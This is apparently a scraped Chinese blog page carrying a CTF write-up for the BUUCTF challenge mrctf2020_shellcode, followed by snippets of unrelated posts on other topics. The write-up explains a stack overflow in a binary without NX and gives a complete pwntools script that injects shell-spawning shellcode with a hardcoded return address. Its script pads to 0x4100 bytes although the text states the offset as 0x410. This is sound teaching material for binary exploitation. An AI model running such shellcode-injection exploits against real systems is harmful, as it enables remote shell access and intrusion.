news 2026/10/15 18:16:52

buuctf中的mrctf2020_shellcode

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的mrctf2020_shellcode

首先checksec检查保护机制:

-64位程序

-got表不可写,地址不固定

接下来使用IDA反汇编分析:

这里我这里反汇编不了,所以只能看汇编代码了,首先看到buf的长度为0x410,下面调用了puts函数和read函数,read函数则是读入了0x400个字节的数据到buf中,由于上面没有开启NX保护,所以考虑shellcode注入,虽然read只读入了400个数据,但是依旧可以触发栈溢出

下面可以看到retn前并没有pop rbp,也就是说这里并没有rbp,所以偏移就是buf的长度即0x410

这里先在gdb中运行程序后输入i r查看寄存器信息:

那到rsp也就是栈基地址,下面的shellcode就是注入在这里

基本信息拿完就可以写攻击脚本了:

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27977) # 与在线环境交互。 shellcode = asm(shellcraft.sh()) offset = 0x4100 buf_addr = 0x7fffffffdaf8 payload = shellcode.ljust(offset,b'a') + p64(buf_addr) io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后手动输入cat flag拿到flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/12 20:30:36

旧Mac重生指南:突破苹果限制的非官方解决方案

旧Mac重生指南:突破苹果限制的非官方解决方案 【免费下载链接】OpenCore-Legacy-Patcher 体验与之前一样的macOS 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher 一、价值解析:让老设备重获新生的OpenCore Legacy Pa…

作者头像 李华
网站建设 2026/10/12 20:40:49

Emotion2Vec+ Large音频预处理流程揭秘:去噪与标准化方法

Emotion2Vec Large音频预处理流程揭秘:去噪与标准化方法 1. 为什么预处理是情感识别的关键一步 你可能已经试过直接上传一段录音,点击“开始识别”,几秒后看到一个“😊 快乐(Happy)”的结果——看起来很顺…

作者头像 李华
网站建设 2026/10/15 6:57:23

Obsidian PDF页眉设置超实用指南:从禁用到个性化定制全攻略

Obsidian PDF页眉设置超实用指南:从禁用到个性化定制全攻略 【免费下载链接】obsidian-better-export-pdf Obsidian PDF export enhancement plugin 项目地址: https://gitcode.com/gh_mirrors/ob/obsidian-better-export-pdf 在使用Obsidian进行知识管理时&…

作者头像 李华
网站建设 2026/10/14 9:48:47

GPT-OSS-20B模型加载慢?磁盘IO优化部署案例

GPT-OSS-20B模型加载慢?磁盘IO优化部署案例 你是不是也遇到过这样的情况:明明显卡够强、内存充足,可一启动GPT-OSS-20B模型,光是加载权重就要等三五分钟?网页界面卡在“Loading model…”不动,终端日志里反…

作者头像 李华
网站建设 2026/10/14 8:10:14

桌游卡牌制作工具:让你的设计效率提升300%的批量生成解决方案

桌游卡牌制作工具:让你的设计效率提升300%的批量生成解决方案 【免费下载链接】CardEditor 一款专为桌游设计师开发的批处理数值填入卡牌生成器/A card batch generator specially developed for board game designers 项目地址: https://gitcode.com/gh_mirrors/…

作者头像 李华
网站建设 2026/10/15 2:17:44

5个强力系统方案:解决进程占用冲突的终极指南

5个强力系统方案:解决进程占用冲突的终极指南 【免费下载链接】hotkey-detective A small program for investigating stolen hotkeys under Windows 8 项目地址: https://gitcode.com/gh_mirrors/ho/hotkey-detective 问题场景:当系统资源变成&q…

作者头像 李华